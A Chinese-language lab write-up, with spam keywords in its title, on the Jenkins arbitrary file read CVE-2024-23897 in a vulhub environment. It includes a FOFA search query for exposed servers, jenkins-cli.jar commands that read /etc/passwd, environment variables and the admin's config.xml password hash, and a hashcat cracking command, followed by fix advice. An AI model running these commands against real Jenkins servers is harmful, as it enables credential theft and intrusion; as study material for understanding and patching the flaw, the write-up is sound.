郑州五合一网站建设,博海博海网站建设,北京网站首页排名公司,华为公司网站建设方案content Jenkins是什么CVE-2024-23897总结修复建议 Jenkins是什么
Jenkins是一人基于Java开发的、可扩展的持续集成引擎#xff0c;用于持续、自动地构建/测试软件项目#xff0c;可以监控一些定时执行的任务。
官网文档#xff1a; Jenkins是一款开源 CICD 软件用于持续、自动地构建/测试软件项目可以监控一些定时执行的任务。
官网文档 Jenkins是一款开源 CICD 软件用于自动化各种任务包括构建、测试和部署软件。 Jenkins 支持各种运行方式可通过系统包、Docker 或者通过一个独立的 Java 程序。 持续集成引擎 持续集成引擎就像是软件开发中的智能管家能自动收集开发人员编写的代码并整合到一起然后像组装机器一样对代码进行检查和组装使其成为可运行的软件接着还会对软件进行各种测试一旦发现问题就及时告知开发人员通过不断地重复这些操作确保软件能快速、高质量地完成开发而 Jenkins 就是这样一个基于 Java 开发的、能实现这些功能的持续集成引擎工具。
CVE-2024-23897
CVE - 2024 - 23897是Jenkins存在的一个任意文件读取漏洞。Jenkins为用户提供了命令行接口用户能够借助jenkins - cli.jar调用该接口进而执行Jenkins的部分功能。然而当使用jenkins - cli.jar执行命令行操作时服务端会利用第三方库args4j对命令行进行解析。在解析过程中若参数以开头系统就会把它认定为一个文件名随后读取该文件的内容并将其作为参数。这一机制存在风险一旦参数设置不当就可能引发报错且报错信息会将文件内容显示出来从而导致任意文件读取的情况发生。 目前我的能力只能把漏洞打一遍原理分析请看P神的原理分析文章 受影响版本 Jenkins 版本 2.441 Jenkins 版本 LTS 2.426.2
fofa
appjenkinsor
headerX-Jenkins || bannerX-Jenkins || headerX-Hudson || bannerX-Hudson || headerX-Required-Permission: hudson.model.Hudson.Read || bannerX-Required-Permission: hudson.model.Hudson.Read || bodyJenkins-Agent-Protocolsvulhub开启靶场环境访问本机8080端口
访问http://靶场IP:8080/jnlpJars/jenkins-cli.jar
触发漏洞但是这个命令只能读取部分内容
java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/ -http help 1 etc/passwd读取/proc/self/environ 一些命令输出行数较多比如connect-node这个命令
java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/ connect-node etc/passwd如果开启了Allow anonymous read access就可以读取全部文件内容靶场应该是默认开启了 Jenkins 安装将有一个文件/var/jenkins_home/users/users.xml其中列出了此处的所有有效用户
java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node /var/jenkins_home/users/users.xml这里读出来admin users.xml显示系统上的单个用户admin其信息文件夹为/var/jenkins_home/users/admin_5965741382068509608 在 Jenkins 上的每个用户文件夹中始终有一个包含用户密码哈希的config.xml文件。 所以现在读取/var/jenkins_home/users/admin_5965741382068509608/config.xml
java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node /var/jenkins_home/users/admin_5965741382068509608/config.xml读取到
passwordHash#jbcrypt:$2a$10$b3fbT8hnHMeZ4CfoVZLTQOgAYbbl8nlQfVGeMhEozzooQDABlEtOG/passwordHash下面用kali自带字典和工具爆破密码
首先把$2a$10$b3fbT8hnHMeZ4CfoVZLTQOgAYbbl8nlQfVGeMhEozzooQDABlEtOG写入txt文件再把rockyou.txt复制到当前路径
hashcat -m 3200 info.txt rockyou.txt开始爆破
但是尴尬了报错* Device #1: Not enough allocatable device memory for this attack.我kali内存不够了当时只分配了2G。 这边就直接说密码了vulhub环境这个Jenkins密码是vulhub。用admin/vulhub登录成功。 登进后台安全管理界面可以发现Allow anonymous read access恰好是开启的。 总结
Jenkins提供了一个命令行的接口jenkins-clijar是它的命令行客户端通过jenkins-clijar可以去执行一些Jenkins中的功能。 利用条件Jenkins 版本 2.441 和Jenkins 版本 LTS 2.426.2开启了Allow anonymous read access读取完整文件 流程
因此根本原因是args4j这个库解析参数不当造成的
修复建议
Jenkins更新到最新版本 禁用Allow anonymous read access选项